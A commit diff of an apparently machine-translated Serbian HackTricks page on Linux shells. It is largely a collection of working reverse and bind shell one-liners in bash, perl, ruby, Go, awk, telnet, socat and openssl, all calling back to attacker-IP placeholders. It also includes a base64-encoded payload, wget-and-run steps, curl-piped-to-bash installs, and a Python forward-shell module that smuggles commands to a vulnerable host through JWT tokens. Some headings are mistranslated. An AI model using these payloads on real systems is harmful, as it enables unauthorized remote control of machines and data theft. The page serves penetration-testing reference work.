Translated ['generic-methodologies-and-resources/shells/linux.md'] to rs

This commit is contained in:
Translator 2024-03-10 13:33:55 +00:00
parent bcf44a2e35
commit 25bbba1a01

View file

@ -33,9 +33,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute
exec >&0
```
### Simbol bezbedna ljuska
### Bezbedan simbolni shell
Ne zaboravite da proverite i druge ljuske: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
Ne zaboravite da proverite i sa drugim shell-ovima: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -47,29 +47,61 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
#### Objasnjenje Shell-a
1. **`bash -i`**: Ovaj deo komande pokreće interaktivnu (`-i`) Bash shell.
2. **`>&`**: Ovaj deo komande je skraćena oznaka za **preusmeravanje kako standardnog izlaza** (`stdout`) tako i **standardne greške** (`stderr`) na **isti odredište**.
2. **`>&`**: Ovaj deo komande je skraćena notacija za **preusmeravanje kako standardnog izlaza** (`stdout`) **tako i standardne greške** (`stderr`) **na istu destinaciju**.
3. **`/dev/tcp/<NAPADAC-IP>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP konekciju ka navedenoj IP adresi i portu**.
* **Preusmeravanjem izlaznih i grešnih tokova u ovaj fajl**, komanda efikasno šalje izlaz interaktivne shell sesije na mašinu napadača.
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odredište kao standardni izlaz (`stdout`)**.
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na istu destinaciju kao standardni izlaz (`stdout`)**.
### Kreiraj u fajlu i izvrši
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## Forward Shell
## Napredna ljuska
Ako naiđete na **RCE ranjivost** unutar veb aplikacije zasnovane na Linuxu, može se desiti da postane teško **dobiti reverzni shell** zbog prisustva Iptables pravila ili drugih filtera. U takvim scenarijima, razmotrite kreiranje PTY shella unutar kompromitovanog sistema korišćenjem cevi.
Kada se suočite sa ranjivošću **Udaljenog izvršenja koda (RCE)** unutar veb aplikacije zasnovane na Linuxu, postizanje reverzne ljuske može biti otežano zbog mrežnih odbrana poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) ljuske kako biste efikasnije interagirali sa kompromitovanim sistemom.
Kod možete pronaći na [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
Preporučeni alat za tu svrhu je [toboggan](https://github.com/n3rada/toboggan.git), koji pojednostavljuje interakciju sa ciljnim okruženjem.
Samo trebate izmeniti:
Da biste efikasno koristili toboggan, kreirajte Python modul prilagođen RCE kontekstu vašeg ciljnog sistema. Na primer, modul nazvan `nix.py` može biti struktuiran na sledeći način:
```python3
import jwt
import httpx
* URL ranjivog hosta
* Prefiks i sufiks vašeg payload-a (ako postoje)
* Način slanja payload-a (zaglavlja? podaci? dodatne informacije?)
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
Zatim, možete jednostavno **slati komande** ili čak **koristiti `upgrade` komandu** da biste dobili potpuni PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja).
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
```
I onda možete pokrenuti:
```shell
toboggan -m nix.py -i
```
Da biste direktno iskoristili interaktivnu ljusku, možete dodati `-b` za integraciju sa Burpsuite-om i ukloniti `-i` za osnovniji rce omotač.
Druga mogućnost je korišćenje implementacije `IppSec` forward ljuske [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Samo treba da izmenite:
- URL ranjivog hosta
- Prefiks i sufiks vašeg payload-a (ako postoji)
- Način slanja payload-a (zaglavlja? podaci? dodatne informacije?)
Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja).
## Netcat
```bash
@ -87,20 +119,20 @@ bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet je jednostavan protokol za pristup udaljenom terminalu. To je često korišćeno za testiranje konekcija na portove i pristup udaljenim sistemima. Telnet je često korišćen u fazi prikupljanja informacija tokom testiranja penetracije.
Telnet je jednostavan protokol za pristup udaljenom računaru preko mreže.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## Whois
## Ko je
**Napadač**
```bash
while true; do nc -l <port>; done
```
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN)
Da biste poslali komandu, zapišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN)
**Žrtva**
```bash
@ -120,6 +152,8 @@ perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getpro
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
Ruby je dinamički programski jezik visokog nivoa koji se često koristi za razvoj web aplikacija. On omogućava brzo i jednostavno pisanje koda, što ga čini popularnim izborom među programerima.
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -148,6 +182,8 @@ victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
## Golang
Go je programski jezik koji je razvijen u Google-u. On je dizajniran tako da bude jednostavan za korišćenje, efikasan i pouzdan. Go je često korišćen za razvoj serverskih aplikacija, alata za automatizaciju i softvera za mrežno programiranje.
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
@ -221,6 +257,12 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Bind shell
## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Bind shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
@ -232,6 +274,8 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
Awk je moćan alat za obradu teksta koji se često koristi u shell skriptama. Može se koristiti za pretraživanje i obradu teksta, kao i za izvlačenje i prikazivanje određenih informacija iz datoteka. Awk koristi posebnu sintaksu za definisanje akcija koje treba izvršiti nad podacima, što ga čini veoma fleksibilnim alatom za analizu teksta.
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
@ -241,7 +285,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
```bash
while true; do nc -l 79; done
```
Da biste poslali komandu, napišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN)
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN)
**Žrtva**
```bash
@ -278,7 +322,7 @@ Ovo će pokušati da se poveže sa vašim sistemom na portu 6001:
```bash
xterm -display 10.0.0.1:1
```
Za hvatanje reverznog šella možete koristiti (koji će osluškivati na portu 6001):
Da biste uhvatili obrnutu ljusku, možete koristiti (koja će slušati na portu 6001):
```bash
# Authorize host
xhost +targetip
@ -311,6 +355,6 @@ Drugi načini podrške HackTricks-u:
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>